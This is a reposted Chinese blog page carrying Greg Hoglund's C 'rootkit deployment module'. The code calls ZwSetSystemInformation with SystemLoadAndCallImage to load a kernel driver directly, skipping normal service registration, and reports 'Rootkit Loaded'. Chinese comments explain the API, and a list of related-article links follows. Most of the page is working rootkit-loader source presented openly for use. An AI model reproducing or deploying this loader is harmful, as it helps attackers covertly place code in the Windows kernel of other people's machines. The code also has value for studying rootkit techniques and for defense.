ZwSetSystemInformation 动态加载驱动
来源:互联网 发布:qq社工数据库 编辑:程序博客网 时间:2024/05/22 00:36
////////////////////////////////////////
// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com
////////////////////////////////////////
#include <windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else // MIDL_PASS
PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;
typedef unsigned long NTSTATUS; //我认为这里应该是typedef long NTSTATUS,
//否则一个unsigned的值总是不小于0,下面这个宏就会出问题
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
//
// NTSTATUS (__stdcall *ZwSetSystemInformation)(
// IN DWORD SystemInformationClass,
// IN OUT PVOID SystemInformation,
// IN ULONG SystemInformationLength
//);
/*
//有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000
//Native API //Reference》
//ZwSetSystemInformation设置影响操作系统的信息,定义如下:
// NTSYSAPI
// NTSTATUS
// NTAPI
// ZwSetSystemInformation(
// IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
// IN OUT PVOID SystemInformation,
// IN ULONG SystemInformationLength);
//
//参数:
// SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个
// 子集,SystemLoadAndCallImage就是其中一个:
// typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{//Information Class 38
// UNICODE_STRING ModuleName;
// }SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
//
// 成员:
// Module:要加载模块的NATIVE NT格式的完整路径
//
// 备注:
// 这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载
到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参
数的__stdcall例程(与设备驱动程序的 // DriverEntry例程一致)。如果入
口点例程返回一个失败代码,则卸载模块。
//
// SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量
// SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给定的
// SystemInformationClass来设置它
//
*/
typedef VOID (__stdcall *tagRtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
typedef unsigned long (__stdcall * tagZwSetSystemInformation)(
IN ULONG,
IN OUT LPVOID,
IN ULONG
);
tagRtlInitUnicodeString RtlInitUnicodeString = NULL;
tagZwSetSystemInformation ZwSetSystemInformation = NULL;
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
void main(void)
{
///////////////////////////////////////////////////////////////
// Why mess with Drivers?
///////////////////////////////////////////////////////////////
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath[] = L"/??/d:/samplehello.sys";
//////////////////////////////////////////////////////////////
// get DLL entry points
//////////////////////////////////////////////////////////////
if( !(RtlInitUnicodeString =
(tagRtlInitUnicodeString) GetProcAddress( GetModuleHandle("ntdll.dll"),
"RtlInitUnicodeString" )) ) //在ntdll.dll中获取RtlInitUnicodeString地址
exit(1);
if( !(ZwSetSystemInformation =
(tagZwSetSystemInformation) GetProcAddress( GetModuleHandle("ntdll.dll"),
"ZwSetSystemInformation" )) ) //在ntdll.dll中获取ZwSetSystemInformation地址
exit(1);
RtlInitUnicodeString( &(GregsImage.ModuleName), daPath ); //建立设备
if( NT_SUCCESS( ZwSetSystemInformation( SystemLoadAndCallImage, &GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) )) //加载进内核空间
{
printf("Rootkit Loaded. ");
}
else
{
printf("Rootkit not loaded. ");
}
}
======使用此方法加载驱动的一些问题==
关于CreateService与SystemLoadAndCallImage的区别
- ZwSetSystemInformation 动态加载驱动
- zwSetSystemInformation加载驱动
- zwSetSystemInformation加载驱动
- 通过ZwSetSystemInformation和ZwLoadDriver加载驱动
- ZwSetSystemInformation的SystemLoadAndCallImage 加载驱动的缺陷
- 通过ZwSetSystemInformation和ZwLoadDriver加载驱动(转)
- Greg Hoglund大牛的ZwSetSystemInformation()加载驱动
- 模块化驱动动态加载
- 动态加载驱动-2
- 驱动动态加载
- 动态加载流驱动
- 动态加载驱动 DDK
- 模块化驱动动态加载
- 关于动态加载/卸载驱动
- windows API 动态加载驱动
- 也谈流驱动的动态加载
- WinCE驱动的动态加载
- WinCE驱动的动态加载
- MyEclipse 6.0.1|Dreamweaver8|SQLyog|UltraEdit-32|mysql-Front学习软件注册码收藏 (仅供学习之用)
- GNOME Terminator -- 任意分割你的终端窗口
- 手动制作python的exe可执行程序
- 病毒的行为分析帮助理解驱动pe等
- “Hello world!”的N种写法
- ZwSetSystemInformation 动态加载驱动
- subversion强制写log的windows 和linux hooks脚本
- GridView中的自定义列
- 文件上传组件的应用
- c语言中,有关存储及堆、栈
- .net代码编写规范
- 微软MVP总结的Windows XP优化大全
- .vimrc配置文件
- 保证标准控件的安全